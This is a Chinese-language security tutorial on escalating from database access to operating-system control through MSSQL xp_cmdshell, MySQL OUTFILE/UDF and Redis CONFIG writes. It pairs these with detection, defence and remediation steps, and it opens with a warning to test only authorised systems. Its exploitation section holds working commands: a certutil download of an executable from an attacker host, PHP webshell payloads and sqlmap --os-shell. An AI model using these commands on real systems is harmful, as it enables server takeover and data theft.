写在前面:合法学习边界
数据库提权测试只允许在授权靶场或授权数据库进行。对真实数据库写入 shell、执行命令可能触犯法律。
一、漏洞原理
拿到数据库高权限后,利用数据库自身的“执行能力”突破到操作系统。
三种典型:
1
2
3
| MSSQL:xp_cmdshell 扩展存储过程直接执行系统命令
MySQL:有 FILE 权限 → INTO OUTFILE 写 WebShell / UDF 提权
Redis:未授权 → CONFIG 写 crontab/SSH Key/WebShell
|
共同点:数据库服务以较高权限运行,且具备读写文件或执行命令的能力。
二、影响与危害
1
2
3
| 数据库服务器 Getshell
横向移动、数据全部泄露
权限提升到系统/root
|
风险等级:高到严重。
三、利用 / 复现
MSSQL:xp_cmdshell
1
2
3
4
5
6
7
8
9
10
11
12
| -- 1. 开启高级选项与 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- 解释:xp_cmdshell 默认关闭,先开高级选项才能再开它
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 2. 执行命令
EXEC xp_cmdshell 'whoami';
-- 解释:whoami 确认执行身份(MSSQL 常以 SYSTEM 运行)
-- 3. 提权/上线
EXEC xp_cmdshell 'certutil -urlcache -split -f http://攻击机/x.exe C:\x.exe';
-- 解释:用系统自带 certutil 下载文件,免额外工具
|
1
2
3
4
5
6
| 数据库提权操作步骤:
第 1 步:确认数据库版本/权限/账号
第 2 步:MSSQL 则开启 xp_cmdshell 执行命令
第 3 步:MySQL 有 FILE 权限则写 WebShell 或 UDF
第 4 步:Redis 未授权则写 crontab/SSH Key/WebShell
第 5 步:验证权限并继续内网渗透
|
常用连接方式:
1
2
| impacket-mssqlclient sa:'Pass@123'@目标IP -windows-auth
sqlmap --os-shell # 探测到 SQL 注入时可直接拿 shell
|
注意:MSSQL 服务默认以 SYSTEM/高权限运行,whoami 往往直接是 nt authority\system。
MySQL:INTO OUTFILE 写 WebShell
1
2
3
4
5
6
7
8
9
| -- 1. 确认 FILE 权限与 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv'; -- 为空才能写任意目录
-- 解释:secure_file_priv 非空时禁止导出,需先确认
SELECT @@global.secure_file_priv;
-- 2. 写 WebShell(需要知道 web 路径)
SELECT '<?php system($_GET["c"]);?>'
INTO OUTFILE '/var/www/html/shell.php';
-- 解释:把一句话写入 Web 目录,访问即执行
|
若 secure_file_priv 非空,则不能写,需换 UDF。
MySQL:UDF 提权
1
2
3
| 把 lib_mysqludf_sys.so 放进 plugin 目录
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('id');
|
前提:MySQL 有 FILE 权限 + plugin 目录可写。
Redis:写文件 Getshell
1
2
3
4
5
| 见《漏洞联动:SSRF 打内网 Redis 未授权 Getshell》
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE
|
四、检测
1
2
3
4
| 数据库弱口令/未授权(sa 空口令、root 空口令、Redis 无密码)
MSSQL 日志中 xp_cmdshell 相关事件
Web 目录出现非业务文件(shell.php 等)
数据库执行了非业务 SQL(OUTFILE、CONFIG SET)
|
五、防御
1
2
3
4
| 数据库账号最小权限,禁止 sa/root 直接用于应用
关闭 xp_cmdshell、禁用危险函数
secure_file_priv 设为不可写目录
Redis 加认证、绑内网、禁危险命令
|
六、修复
1
2
3
4
5
| 重置数据库弱口令,收敛权限
关闭 xp_cmdshell、限制 OUTFILE/UDF
清理已写入的 WebShell/crontab/SSH Key
网络隔离数据库,不暴露公网
修复后复测:高危操作被拒
|
七、小结
数据库是内网提权的高价值目标:sa/root/空密码 + 执行能力 = 直接 GetShell。测试时先看数据库账号权限和配置,再决定走 xp_cmdshell、OUTFILE 还是 UDF。